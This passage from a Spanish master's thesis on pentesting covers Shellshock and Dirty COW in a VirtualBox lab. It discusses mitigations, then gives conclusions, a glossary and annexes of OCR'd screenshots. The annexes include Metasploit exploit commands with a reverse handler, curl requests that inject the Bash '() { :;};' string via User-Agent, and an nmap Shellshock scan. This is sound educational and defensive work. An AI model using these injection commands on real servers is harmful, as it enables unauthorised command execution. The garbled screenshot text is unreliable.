Medidas destinadas al cifrado de conexiones y transporte de datos, ya sea para
transferencia de datos mediante protocolos como HTTPS o para permitir conexiones
remotas mediante VPN o SSH.

Implementacién de cortafuegos destinados a comprobar y rechazar el contenido del
trafico externo de datos y direcciones no autorizadas. Y monitorizacion del trafico de la red
externa e interna mediante sistemas de deteccion de intrusiones, para la generacion pasiva
de alertas o la prevencion y rechazo de eventos sospechosos.
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e Equipo

Implementacion del control de acceso y medidas de autenticacion de usuarios
previamente definidos. Mantenimiento y actualizacién de los diferentes servidores y
dispositivos, para detectar y actualizar posible software vulnerable en el sistema operativo.
Uso de antivirus destinados a la deteccién y eliminacion de malware, u otras aplicaciones
destinadas a la deteccion de actividad sospechosa, como dIl maliciosas inyectadas en
procesos o el uso de comunicaciones mediante puertos atipicos en el sistema.

e Aplicaciéon

Control de privilegios de las aplicaciones en ejecucion que pueden realizar acciones
sobre los datos de un sistema, identificacion de las tecnologias y servicios empleados para
el analisis y deteccion de vulnerabilidades a nivel de aplicacion.

e Datos

Cifrado de datos mediante fuertes algoritmos de encriptacion. Control de acceso y
enmascaramiento de los datos utilizados por aplicaciones o visualizados por personal.
Copias de seguridad y sistemas de respaldo destinados a la recuperacion de datos
modificados o perdidos.

Politicas, Procedimientos,
Concienciacion

Seguridad Fisica de recursos

Seguridad en las Redes

Aplicacién

Imagen 5.1. Modelo de defensa en profundidad.
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5.2. Técnicas para la mitigacion de las vulnerabilidades detectadas

5.2.1. Politicas de mantenimiento y actualizacion

Es necesario definir en una organizacién una serie de politicas destinadas a analizar las
aplicaciones, tecnologias y servicios utilizados, para detectar posibles vulnerabilidades o
comportamientos andmalos. De esta forma se pueden adecuar tareas de mantenimiento
como la actualizacion o deshabilitacion de versiones vulnerables, que potencialmente
permiten a una entidad realizar acciones no autorizadas sobre el sistema.

En capitulos anteriores hemos analizado, detectado y documentado cuales eran las
versiones del lenguaje de comandos Bash vulnerable a Shellshock, asi como la existencia
de las versiones del kernel de Linux afectadas por la vulnerabilidad Dirty COW. Por lo tanto,
el siguiente paso de una correcta politica de seguridad, conlleva el estudio y migracién de la
tecnologia CGIl implementada en el servidor web a otra que ofrezca una mayor seguridad,; vy,
sobretodo, la actualizacién del lenguaje Bash y el kernel de Linux a versiones que incluyan
los parches de seguridad necesarios.

Aunque el resto de vulnerabilidades detectadas sobre el servidor web Apache y el
servidor OpenSSH no han sido estudiadas en profundidad, también es necesario investigar
y documentar el impacto de dichas vulnerabilidades sobre nuestro sistema, y aplicar las
correspondientes actualizaciones de seguridad.

5.2.2. Arquitectura de red, firewall e IDS

Es aconsejable situar el servidor web en una zona desmilitarizada, es decir, en una red
perimetral perteneciente a la organizacién situada entre la red interna e Internet, la cual
debe estar protegida por varios cortafuegos. Si ademas incluimos en la maquina sélamente
los archivos necesarios para actuar como servicio web, y evitamos la inclusion de datos
potencialmente sensibles, podemos minimizar el impacto sobre la seguridad de nuestra
organizacion en caso de que el servidor web se vea comprometido [46].

El firewall entre la red interna de la organizacion y el servidor web s6lamente debera
admitir peticiones destinadas al mantenimiento y configuracion del servidor, por ejemplo,
para conexiones SSH entrantes (donde es recomendable cambiar el puerto 22 utilizado por
defecto) cuya direccién de red pertenezca a una direccion de la red interna de nuestra
organizacién. Por otro lado, el firewall que controla las peticiones de conexiones entrantes
de Internet sdlamente debera permitir aquellas dirigidas a los puertos del servicio web
ofrecido, 80 y 443.

Para evitar las conexiones de tipo reverse, inyectadas dentro del payload y que se lanzan
desde el interior de la maquina vulnerable dirigidas a la maquina de la entidad atacante, se
deben investigar y aplicar diversas medidas. Por ejemplo, y aunque dependiendo del
servidor o host puede ser mas o menos complejo, es interesante utilizar el firewall para
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restringir los intentos de establecimiento de una conexion, sobre un rango de puertos que
no pertenezcan a ningun protocolo deseado [47].

Otra posible medida, es la de utilizar inteligencia artificial como machine learning [49],
para analizar y aprender acerca del comportamiento realizado por los ataques de tipo
reverse, que establecen y envian acciones de linea de comandos a través de los paquetes
de red. De esta forma, podriamos utilizar los modelos de aprendizaje obtenidos para
rechazar las conexiones de red que coincidan con el comportamiento sospechoso.

Si nos enfocamos en la vulnerabilidad Shellshock detectada, también existe la posibilidad
de implementar un conjunto de reglas sobre el sistema de cortafuegos o herramientas de
deteccidn de intrusos de una organizacion, destinadas a intentar detectar la inyeccién del
conjunto de caracteres utilizado para la declaracién de una funcién enBash () { :;}; ,
el cual sirve como vector de ataque para encadenar la inyeccién de comandos por parte del
atacante [40, 41, 53].

oo Applications  Places [ Terminal May 24 14:53

) > use exploit/uoc/f shellshock/propio_neterpreter
) > set TARGETURT /cg itn. cgi
)
)

-bin/vuln.cei
et RHOSTS 192.168.100.5

.100.5
> exploit

se TCP handler on 192.168.100.4:4444
rogress - 100.00% done (705/705 bytes)
, but no session was created.
)21
root@kali: ~/UOC_TFM_Metasploit/PEC3_Explotacion

# curl -A 'echo;' http://192.168.100.5/cgi-bin/vuln. cgi
d><title>Prueba
><bo

shared  buffers cached
)

Pl T I I Gy

238
</body></html>

5 # curl -A () { :;}; echo; echo Hola UOC; echo Este Servidor es Vulnerable a
hock' http://192.168.100.5/cgi-bin/vuln.cgi

Imagen 5.2. Reglas de firewall que evitan el intento de explotaciéon Shellshock.

5.2.3. Antivirus y deteccion de malware

El software antivirus son aquellas aplicaciones destinadas a detectar la existencia de
software malicioso en el sistema, para prevenir la ejecuciéon de acciones malintencionadas.
Entre las diferentes técnicas utilizadas por estos antivirus para la deteccién y prevencion,
encontramos mecanismos que utilizan bases de datos con diferentes firmas e
identificadores de virus conocidos, o la deteccidon de comportamiento sospechoso sobre el
sistema.

A medida que las entidades atacantes van desarrollando mecanismos destinados a la
ocultacion, como pueden ser los codificadores utilizados por Metasploit sobre los payloads o
shellcodes que abren sesiones de Meterpreter para tomar el control de un sistema
vulnerable. Las entidades que trabajan en la deteccion de estos ataques maliciosos también
actualizan y mejoran sus mecanismos de deteccion. Es por ello, que el uso de un antivirus
tiene un papel fundamental en la seguridad de los sistemas informaticos [47, 48].
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5.2.4. Administracién de usuarios y restriccion de privilegios

Cuando la explotacion al sistema remoto ha sido realizada con éxito, nos hemos
encontrado bajo el control de un usuario hca perteneciente al grupo de superusuarios, el
cual tiene habilitado la elevacién y uso de sus privilegios sin la necesidad de verificar su
identidad mediante el uso de una contrasefia. Esto nos ha permitido facilmente utilizar sus
privilegios de superusuario, para administrar el archivo que realiza la post-explotacién de
Dirty COW vy ejecutar la escalada de privilegios [45].

Por este motivo, es necesario la correcta administracion de los usuarios, grupos y
directorios pertenecientes al servidor web, restringiendo los privilegios y evitando la
posibilidad de realizar acciones sobre otros directorios y archivos del sistema.

5.2.5. DEP y proteccion del espacio ejecutable

La caracteristica de seguridad Data Execution Prevention (DEP, en espanol, prevencién
de ejecucién de datos) esta destinada a proteger o prevenir la ejecucién de instrucciones en
zonas de la memoria marcadas como no ejecutables, en caso de que una aplicaciéon o
atacante intente realizar esta ejecucion, lo que lograra es el lanzamiento de una excepcion
en el sistema. Esta caracteristica viene implementada por defecto en la mayoria de los
sistemas operativos, e integrada en Linux gracias al soporte implementado para la
tecnologia denominada NX bit existente en los procesadores actuales [50].

Este tipo de proteccion se utiliza para protegerse frente a la explotacion de
vulnerabilidades de tipo stack, heap o buffer overflow, las cuales utilizan la inyeccién de una
shellcode o instrucciones de codigo maquina sobre una funcién o método vulnerable, desde
donde se accede a la memoria del sistema.

En la vulnerabilidad Shellshock, se hace uso de la inyeccién del conjunto de caracteres
Bash sobre las cabeceras del protocolo web, sin la necesidad de lanzar instrucciones sobre
la memoria del sistema, por lo que esta caracteristica de seguridad no es suficiente para
evitar la explotacién de esta vulnerabilidad.

Y, para la vulnerabilidad Dirty COW, se explota una condicion de carrera al intentar leer y
escribir a la vez un mismo recurso del sistema, donde tampoco se intentan inyectar
instrucciones sobre la memoria del sistema para su posterior ejecucion. Por lo tanto, la
presente caracteristica de seguridad tampoco es suficiente para evitar la explotacion de
esta vulnerabilidad.
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5.2.6. ASLR

La técnica de seguridad Address Space Layout Randomization (ASLR, en espafiol,
aleatoriedad en la disposicion del espacio de direcciones) esta destinada a asignar de forma
aleatoria los espacios de la memoria que utilizan las aplicaciones de un sistema. Esto
permite evitar que las direcciones de la memoria utilizadas por dicha aplicacién se
mantengan constantes entre diferentes ejecuciones [51].

De esta forma, una entidad atacante no podra utilizar e inyectar el mismo conjunto de
instrucciones de cédigo maquina destinadas a actuar sobre una direccion de la memoria
especifica. Esta técnica no evita que los atacantes puedan ejecutar instrucciones sobre la
memoria de un sistema vulnerable, pero afade dificultad a los posibles atacantes evitando
que estos puedan utilizar direcciones especificas de la memoria.

Al igual que con DEP, esta técnica de seguridad no es suficiente para mitigar la
explotacion de la vulnerabilidad Shellshock sobre el protocolo web. Por otro lado, esta
técnica tampoco es suficiente para la mitigacion de la vulnerabilidad Dirty COW, ya que
Copy-On-Write ofrece directamente la copia del recurso del sistema sobre la cual se quiere
provocar la condicion de carrera.
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Capitulo 6: Conclusiones

A lo largo del presente trabajo se ha documentado la metodologia seguida para realizar
un proceso de pentesting, asi como los sistemas y herramientas utilizadas con sus
respectivas versiones. Partiendo de un sistema potencialmente vulnerable, se han
conseguido identificar y explotar vulnerabilidades existentes, realizar la integracion de un
exploit que permite el acceso remoto al sistema en la herramienta Metasploit, y enumerar
una serie de técnica que permiten la mitigacion de dichas vulnerabilidades.

En primera instancia hemos instalado uno de los sistema mas conocidos en el ambito de
la seguridad informatica, la distribucion Kali Linux, sobre el cual hemos configurado y
utilizado dos herramientas conocidas como son Nmap y Nessus, para el analisis y deteccion
de las vulnerabilidades existentes. Con este analisis hemos descubierto que el sistema
vulnerable ofrece un servicio web, que utilizada la tecnologia web CGI junto a una version
Bash vulnerable conocida como Shellshock.

Para conseguir explotar la vulnerabilidad detectada, se ha identificado el vector de
ataque que nos permite inyectar la declaracion de una funcién Bash sobre una cabecera del
protocolo web, para la posterior inyeccion de instrucciones que permiten el establecimiento
de una conexidn remota y la ejecucion de comandos.

A continuaciéon, se ha realizado una introduccion sobre el funcionamiento de la
herramienta Metasploit, junto a la descripcion de los métodos y variables necesarias que
permiten la creacion de moédulos destinados a la explotacion de la vulnerabilidad detectada,
asi como la apertura de una sesion de control avanzada como es Meterpreter.

Una vez se ha conseguido el acceso remoto al sistema, se ha presentado como ejemplo
la vulnerabilidad Dirty COW, la cual nos permite realizar una escalada de privilegios sobre el
sistema. Seguidamente se han enumerado un conjunto de posibles acciones destinadas a
mantener la persistencia y el acceso al sistema.

Por ultimo, una vez las vulnerabilidades que afectan al servidor web remoto han sido
identificadas y corroboradas, se ha expuesto el modelo de defensa en profundidad cuyo
objetivo consiste en implementar diferentes medidas de mitigacion en la estructura de una
organizacién, asi como un conjunto de técnicas mas especificas destinadas a minimizar e
intentar remediar el impacto de las vulnerabilidades Shellshock y Dirty COW.

Por estos motivos, podemos concluir que los objetivos generales del presente trabajo

han sido correctamente alcanzados. No obstante, hay diferentes aspectos e
implementaciones sobre los cuales se pueden realizar ciertas mejoras e investigaciones:
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Las vulnerabilidades detectadas sobre el servidor Apache y OpenSSH han sido
documentadas, pero no se ha llegado a identificar un posible vector de ataque para su
explotacion.

Los archivos y médulos de Metasploit destinados a la explotacion de Shellshock, tienen
margen de mejora en lo referido a la implementacion de métodos mas robustos que
permitan la explotacion de otras maquinas diferentes a la utilizada. Asi como la inclusion
de un método que permita la inyeccion de caracteres destinados a la explotacion de la
vulnerabilidad Shellshock CVE-2014-6278 [54].

Es posible investigar de forma mas exhaustiva aquellas acciones destinadas a la
ocultacion y persistencia de acceso, realizadas en la etapa de post-explotacion.

Las técnicas de mitigacion deben ser implementadas y verificadas en su totalidad.

53



U Universitat Master MISTIC
oc Oberta

de Catalunya Seguridad en Sistemas Operativos
Pentesting y generacion de exploits con Metasploit

Glosario'

e ARP : Address Resolution Protocol o protocolo de resolucién de direcciones, es un
protocolo de comunicacion utilizado para asociar las direcciones IP de la capa de red
con las direcciones MAC de la capa de enlace de datos.

e ASLR : Address Space Layout Randomization o aleatoriedad en la disposicion del
espacio de direcciones, es una técnica de seguridad destinada a asignar de forma
aleatoria los espacios de memoria que utilizan las aplicaciones de un sistema.

e Bash : Lenguaje de comandos para sistemas Unix destinado a la interpretacion de
ordenes de los usuarios para la realizacidon de acciones sobre el sistema.

e CGI : Common Gateway Interface o interfaz de entrada comun, es una tecnologia web
que permite a un cliente solicitar datos de un programa existente en un servidor.

e Clickjacking : Es una técnica maliciosa destinada a engafar a los usuarios de Internet
haciéndose pasar por alguna caracteristica inofensiva, con el fin de realizar acciones
malintencionadas.

e Confidencialidad : Es la propiedad de la informacion destinada a garantizar que esta
es Unicamente accesible al personal autorizado.

e CVE : Common Vulnerabilities and Exposures o vulnerabilidades y exposiciones
comunes, es una lista de informacién destinada a registrar e identificar vulnerabilidades
de seguridad publicamente conocidas.

e DEP : Data Execution Prevention o prevencién de ejecucion de datos, es una
caracteristica de seguridad destinada a prevenir la ejecucién de instrucciones en zonas
no ejecutables de la memoria del sistema.

e DDoS : Distributed Denial of Service o ataque de denegacion de servicio distribuido, es
un ataque malicioso destinado dirigir una gran cantidad de informaciéon sobre un
servidor, servicio o red, para que este se vea sobrecargado y no pueda procesar el
resto de peticiones legitimas.

e DHCP : Dynamic Host Configuration Protocol o protocolo dinamico de configuracion de
host, es un protocolo utilizado por un servidor web para asignar direcciones IP de forma
dinamica a los dispositivos de una red.

" Glosario de Informatica e Internet: https://www.internetglosario.com/,
Wikipedia: https://www.wikipedia.org/,
MDN Web Docs: https://developer.mozilla.org/en-US/
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Dirty COW : Vulnerabilidad de seguridad anunciada publicamente en 2016 que afecta a
casi todos los kernel de Linux entre 2007 y 2017, el cual permite la escalada de
privilegios en el sistema mediante la explotacion de una condicion de carrera.

Exploit : Cddigo o secuencia de comandos utilizados frente a una vulnerabilidad de
seguridad para tomar ventaja en beneficio propio.

Firewall : El firewall o cortafuegos, es la parte de un sistema informatico de red
destinado a monitorizar comunicaciones para bloquear los accesos no autorizados.

Framework : En el ambito de la programacién informatica, un framework es una
herramienta o proyecto software estructurado en mddulos, en el cual se puede
modificar la funcionalidad genérica ofrecida mediante la adicién de nuevos modulos.

Disponibilidad : Es la propiedad de la informacién destinada a garantizar que el
acceso a los datos funciona correctamente en todo momento.

Fingerprinting : En el ambito de la seguridad informatica, es una fase o proceso
destinado a la recopilacién de informacion que se puede utilizar para identificar una
aplicacién software, protocolo de red, sistema operativo o dispositivo hardware.

GET : Es un método HTTP que permite realizar una solicitud sobre un recurso web
especifico.

HTTP : Hypertext Transfer Protocol o protocolo de transferencia de hipertexto, es un
protocolo de red que permite la transferencia de documentos en la red, generalmente
entre un navegador y un servidor.

HTTPS : Hypertext Transfer Protocol Secure o protocolo seguro de transferencia de
hipertexto, es un versién de HTTP que incluye la encriptacién de comunicaciones.

ICMP : Internet Control Message Protocol o protocolo de control de mensajes de
Internet, es un protocolo de soporte de la familia de los protocolos de Internet, utilizado
para enviar mensajes de error e informacién operativa, por ejemplo, para saber si un
host o servicio de encuentra operativo.

IDS : Intrusion Detection System o sistema de deteccién de intrusiones, es una
herramienta destinada a detectar accesos no autorizados en un sistema.

Integridad : En el ambito de la seguridad informatica, es la propiedad de la informacion
destinada a garantizar que los datos no pueden modificarse de manera no autorizada o
no detectada.

IP : Internet Protocol o protocolo de internet, son el conjunto de reglas que regulan la
transmisién de paquetes de datos a través de Internet. La direccién IP es una direccion
electrénica unica destinada a identificar un dispositivo conectado a Internet.
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ISO image : International Standards Organization o Organizacion Internacional de
Estandarizacién, es una organizacion destinada a la creacibn de estandares
internacionales. Una imagen ISO es un archivo regido por el estandar ISO 9660 que
contiene una copia exacta de un sistema de archivos.

Kali Linux : Distribucién de Linux basada en Debian que contiene varios cientos de
herramientas destinadas a diversas tareas en el ambito de la seguridad informatica.

LAN : Local Area Network o red de area local, es una red de dispositivos que abarca un
area reducida como puede ser una casa o edificio.

Metasploit : Herramienta perteneciente al ambito de la seguridad informatica, destinada
a la realizaciéon de pruebas de penetracién sobre sistemas informaticos.

Meterpreter : Shell remota avanzada obtenida tras la inyeccion de un payload ofrecido
por Metasploit, que permite a una entidad atacante la realizacién de acciones sobre el
sistema explotado.

NAT : Network Address Translation o traduccion de direcciones de red, es un proceso
utilizado para la traduccion de IPs de una red privada a una IP de una red publica, para
que la red privada pueda enviar paquetes al exterior y viceversa.

Nessus : Herramienta de Ila compaiia Tenable destinada al escaner de
vulnerabilidades de seguridad sobre un sistema informatico.

Nmap : Herramienta de cddigo abierto destinada a la deteccidon de hosts en una red
informatica, asi como la identificacion de sus sistema operativos, puertos y servicios.

Payload : En el ambito de la seguridad informatica, conjunto de érdenes maliciosas que
se realizan tran la explotacion de una vulnerabilidad, destinada a la ejecucion de
acciones no deseadas sobre el sistema explotado.

Pentesting : Prueba o test de penetracién realizado sobre un sistema informatico con la
intencion de encontrar posibles debilidades de seguridad.

Shell : Es un programa que provee una interfaz de usuario para interpretar comandos
que permiten acceder a los servicios del sistema operativo.

Shellshock : Vulnerabilidad de seguridad anunciada publicamente en 2014 que afecta
al lenguaje de comandos Bash de Unix, y el cual permite a entidades no autorizadas la

realizacion de acciones sobre los sistemas afectados.

SSH : Secure Shell es un protocolo de red criptografico que establece un canal seguro
para la comunicacion de dispositivos de la red.
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TCP : Transmission Control Protocol o protocolo de control de transmision, es un
protocolo de Internet que permite la transmisién de datos entre dispositivos utilizando
acuse de recibo.

UDP : User Datagram Protocol o protocolo de datagramas de usuario, es un protocolo
de Internet que permite la transmision de datos entre dispositivos sin el uso de acuse de
recibo.

User-Agent : Es una cabecera del protocolo web destinado a la identificacion de la
aplicacion o dispositivo que realiza una peticion web.

VPN : Virtual Private Network o red privada virtual, es una tecnologia que permite
extender una red LAN segura a través de una red no controlada como Internet.

Vulnerabilidad : En el ambito de la seguridad informatica, una vulnerabilidad es un fallo

o debilidad existente en un sistema informatico que permite a una entidad la realizacion
de acciones no autorizadas.
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https://www.cyberbit.com/blog/endpoint-security/detecting-reverse-shell-with-machine-learning/
https://www.cyberbit.com/blog/endpoint-security/detecting-reverse-shell-with-machine-learning/
https://en.wikipedia.org/wiki/Executable_space_protection
https://en.wikipedia.org/wiki/Address_space_layout_randomization
https://linux.die.net/man/8/adduser
https://stackoverflow.com/questions/825481/iptable-rule-to-drop-packet-with-a-specific-substring-in-payload
https://stackoverflow.com/questions/825481/iptable-rule-to-drop-packet-with-a-specific-substring-in-payload
https://blogs.akamai.com/2014/10/shellshock-cve-2014-6277-and-cve-2014-6278-details-released.html
https://blogs.akamai.com/2014/10/shellshock-cve-2014-6277-and-cve-2014-6278-details-released.html
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ANEXO A: Configuracion del entorno

<
-
I
[41]
m
@]
=

|
=
ru

anl
o)
i)
=
0
o
¥4}

J

Wl General | & Detalles de red NAT ? X
£

gy I
&7 Entrada | Habilitar red

Actualizar Nombre de red: |UDC_Neh-vork |

G IR

N Red CIDR: |192.168.100.0/24 |
@ Idioma
Opciones de red: [v/| Soporta DHCP

E.l Pantalla [ ] soporta IPv6

Red Anunciar ruta por defecto IPv6

E Extensiones | Reenvio de puertos .
\IH Proxy | Aceptar || Cancelar |

‘ Aceptar _H Cancelar

Imagen A.1. Red NAT configurada en VirtualBox.

| 3 UOC_TFM_hca - Configuracién 2 X | @3 KaliLinux - Configuracion ? %
| = i
g General Red | General Red
m Sistena Adaptador 1 Adaptador 2~ Adaptador 3 Adaptador 4 m Sistema Adaptador 1 Adaptador 2~ Adaptador 3 Adaptador 4
| l-ﬂJ il [] Habilitar adaptador de red @ Pantalla [] Habilitar adaptador de red
Conedtado a: Red NAT - Conectado a: [Red NAT

- pes
£d Amacenamiento 3 Amacenamiento

Nombre: UOC_Network Nombre: | UOC_Network
o )
B Audio e— B Audio » Avanzadas

{ [ Red - Red
4 Puertos serie £ Puertos serie

| Moot &
| ) use & uss
lul Carpetas compartidas |l Carpetas compartidas
E Interfaz de usuario t‘ Interfaz de usuario
o i

Imagen A.2. Asignacién de la red NAT a las maquinas virtuales.
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ANEXO B: Listado de servicios y vulnerabilidades

Ademas de las presentes imagenes se adjuntan dos informes en formato PDF:

PastorRicos_Fernando_TFM_Nessus_web_scan: El escaner realizado por Nessus
utilizando una configuracion destinada a servicios web, que incluye la totalidad de las
vulnerabilidades detectadas.

PastorRicos_Fernando_TFM_Nessus_paranoid_advanced_scan: ElI escaner
realizado por Nessus con el modo paranoia habilitado, que incluye la totalidad de las
potenciales vulnerabilidades existentes.

KaliLinux [Corriendo] - Oradle VM VirtualBox

Archivo Maquina Ver Entrada Dispositivos Ayuda
Applications Places [ Terminal Mar29 12:37

i+ root@Kkali: ~

:~# nmap -A 192.168.100.5
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-29 12:37 EDT
Nmap scan report for 192.168.100.5
Host is up (©.00@5@s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2 (protocol 2.0)
| ssh-hostkey:

:e6 (RSA)
i : : : ad (ECDSA)

_ :36:27:01:0b:32:36:Ff:48 £5:2 e:91 (ED25519)
80/tcp open http Apache httpd 2.2.21 ((Unix) DAV/2)
| http-methods:
|_ Potentially risky methods: TRACE

| _http-server-header: Apache/2.2.21 (Unix) DAV/2

|_http-title: Index of /

MAC Address: 08:00:27:B9:EA:73 (Oracle VirtualBox virtual NIC)
Device type: general purpose

Running: Linux 3.X|4.X

0S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:1linux:linux_kernel:4
05 details: Linux 3.2 - 4.9

Network Distance: 1 hop
& | TRACEROUTE
* HOP RTT ADDRESS
1 0.50 ms 192.168.100.5
0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 9.04 seconds
= |

Imagen B.1. Resultados de un escaneo basico de Nmap.
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Service Detection

Description

Messus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP reguest.

Output
An S58H server is running cn this port.
Port Hosts
22 {tcp/ ssh 192.168.100.5 @

& web server is running on this port.

Port Hosts

80/ tep / www 192.168.100.5

Imagen B.2. Resultado de Nessus sobre los servicios existentes.

OS Identification

Description

Using a combination of remote probes (e.g., TCP/IP. SMB, HTTP, NTP. SNMP, etc.), it is possible to guess the name of the remote operating system in use.
It is also possible sometimes to guess the version of the operating system

: Linux Kernel 3.10

ing one of these operating systems :

L
L
L
Lin

Port Hosts

NiA 192.168.100.5 @

Imagen B.3. Resultado de Nessus sobre el sistema operativo.

KaliLinux [Corriendo] - Oracle VM VirtualBox
Archivo Méaquina Ver Entrada Dispositivos Ayuda

Applications Places ] Terminal Mar29 12:54

a root@kali: ~

:~# ssh 192.168.1080.5
The authenticity of host '192.168.100.5 (192.168.100.5)' can't be established.

ECDSA key fingerprint is SHA256:USZKPTe+m/xFolW+bW2zkMImQ/ITovAlLyXHFvVLRNIM.
Are you sure you want to continue connecting (yes/no/[fingerprint])?

Imagen B.4. Peticion de conexién SSH sobre el sistema vulnerable.
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ﬁ KaliLinux [Corriendo] - Oracle VM VirtualBox

Archivo Madquina Ver Entrada Dispositivos Ayuda
Applications Places ©) Firefox ESR Mar29 12:44

Index of / - Mozilla Firefox
sus Essentials [Fold: X O x +
@ 192.168.100.5

Kali Training Kali Tools Kali Docs Kali Forums NetHunter ]| Offensive Security Exploit-DB GHDB || MSFU

Index of /
* cgi-bin/

« favicon.ico
+ hca.html

Imagen B.5. Aplicacion web ofrecida por el sistema vulnerable.

Kalilinux [Corriendo] - Oracle VM VirtualBox = a X
Archivo Méquina Ver Entrada Dispositivos Ayuda

52 Applications  Places &) FirefoxESR Mar 30 08:05

Nessus Essentials / Folders / View Scan - Mozilla Firefox

i @
Kali Linux Kali Training Kali Tools Kali Docs Kali Forums NetHunter | Offer Exploit-DB GHDB || MSFU @ Nessus

a o @

UOC_web scan Configre  Audt Trail Launch Report v  Export w

< Back 1o My Scans
. My Scans
L]

Al Scans

Hosts 1 Vulnerabilities 10 1
@ Trash
Fiter +
Policies Sev Name Family Count Scan Details
Plugin Fues ” "
8 ERED = GNUBash (Muliple Issues) Gl abuses 2 Policy Web Application Tests
& Scanners Sta Comploted
=R HTTP (Mulliple lssues) Web Servers 4 Scanne Local Scanner
Start Today
Community Web Appication Potentially Vuinerable o Clickjacking Web Servers 1 End; Today
Eapsed:  aminae
Resoarch
HTTP (Mutiple lssues) catabuses 2
Vulnerabilities
YN scannor Port scamers 2
' ® Critcal
ion Web Servers ! Hiah
Veduum
s nkrion Setings ! o Low
o o
Web Appication Sitomap Web Servers 1
o e Web Server Direciory Enumeration Web Servers '
Aiertisements Soiting
Masks, .. WebDAVY Detection Web Servers
Road More
KaliLinux [Corriendo] - Oracle VM VirtualBox — jul X

Archivo Maquina Ver Entrada Dispositivos Ayuda
22 Applications  Places &) FirefoxESR Mar 30 04:38

Nessus Essentials / Folders / View Scan - Moxilla Firefox

s Essentials /Fold: X+
D fa loc

Kali Training Kali Tools Kali Do Kali Forums NetHunter || Offensi Exploit-DB GHDB | MSFU @ Nessus Essentials

S
UOC_advanced / 192.168.100.5 Configure  Audit Trail Launch ~ Report ~  Export ~
@ My Scans
Al Scar Vulnerabilities 22
u Policies Sev Name Family Count Hosl Details
Plugin Rules e =
B he EEER i@ Avache HTTP Sorvor (it Issuos) Vieb Sorvars 2 P 192.168.100.5
& Scamers MAG: 08:00:27:B9.EAT3
Openbsd Openssh (Multiple Issues) Misc 5 o8 Linux Karnel 3.10
Linux Kernal 4.2
Community EZER & Web Server (Multiple lssues) Web Servers 2
Resoarch Start
EIEl  HTTP (Mutiple Issues Web Servers 4 End
Elapsed aminuie
Massus SYN scanner Port scamners 2 KB F—
Service De n Service datection 2
Gommon Phatiorm Enumeration (CPE) General 1 —
. High
INFO Device T: General m
INFO Ethemet Card Manufacturar Detection Mise 1 ® Info

Druva inSync Glient

Mullipe Vuinerabiities Ethomet MAG Addre General i
SRS [l 'GP Timestamp Reques! Remote Date Disclosure General 1

Imagen B.7. Vulnerabilidades no verificadas detectadas por Nessus con modo paranoia.
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ﬁ KaliLinux [Corriendo] - Oracle VM VirtualBox

Archivo Maquina Ver Entrada Dispositivos Ayuda
Applications Places ] Terminal Mar 30 08:07

n root@k

i~ nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/vuln.cgi,cmd=1s 192.168.100.5
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-30 @8:07 EDT
Nmap scan report for 192.168.1008.5
Host is up (0.008085s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2 (protocol 2.8)
80/tcp open http Apache httpd 2.2.21 ((Unix) DAV/2)
| _http-server-header: Apache/2.2.21 (Unix} DAV/2
| http-shellshock:
VULNERABLE:
HTTP Shellshock vulnerability
State: VULNERABLE (Exploitable)
IDs: CVE:CVE-2014-6271
This web application might be affected by the vulnerability known as Shellshock. It seems the server
is executing commands injected via malicious HTTP headers.

Disclosure date: 2014-09-24
Exploit results:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

|

|

|

|

|

|

|

|

|

|

|

| <title>5@@ Internal Server Error</title>

| </head><body>

|  <hi>Internal Server Error</hi>

|  <p>The server encountered an internal error or
| misconfiguration and was unable to complete
|  your reguest.</p>

| <p>Please contact the server administrator,

| louisdpentesterlab.com and inform them of the time the error occurred,
I and anything you might have done that may have

| caused the error.</p>

| <p>More informaticn about this error may be available

|  in the server error log.</p>

| </body></html>

|

|

|

|

|

|

References:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
http://seclists.org/oss-sec/2014/q3/685
http://www.openwall.com/1lists/oss-security/2014/09/24/10

MAC Address: @8:80:27:B9:EA:73 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.99 seconds
= |

Imagen B.8. Script Nmap para detectar la vulnerabilidad Shellshock.
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ANEXO C: Explotacion de la vulnerabilidad Shellshock

KaliLinux [Corriendo] - Oracle VM VirtualBox

Archivo Méquina Ver Entrada Dispositivos Ayuda
Applications Places i May2 13:56

¢ curl -A '() { }; echo Hola soy ferpasri de la UOC, este servidor permite la inyeccion de comandos bash' http://192.168.100.5/cgi-bin/vuln.
OCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<hi>Internal Server Erro h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator,
louis@pentesterlab.com and inform them of the time the error occurred,
and anything you might have done that may have

<p>More information about this error may be available
in the server error log

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
AN i EERE QeEe»EF IE|E a a & F

(WA

Time Destination Protocol Lengtt Info

000000000 - i 5 3 .1ee. P 74 35760 - 8@ [SYN] Seg=0 Wil MSS=1460 SACK_PERM=1 TSval-1496692267 TSecr=0 WS=128

800317400 " = : . .108. 74 80 ~ 35760 [SYN, ACK] Seq 0 Ac Win=28968 Len=8 M55=1460 SACK_PERM=1 TSval=2146963 TSecr=1496692267 WS:
000329682 .168. .168.100. 66 35760 — 80 [ACK] Seg=. 64256 Len=p TSval=1496692267 TSecr=2146963

080380744 243 cgi H

000642758

0.
0.
e.
@.
0.
9 P
0.003360043 .168. .168.100. 35760 - 80 [ACK] Seq=
©.083342943 & g % = % ACK] i TSval=2146964 TSecr=1496692267
0.603828427 .168.100. .168.100. ACK] Seq i TSval=1496692270 TSecr=2146964
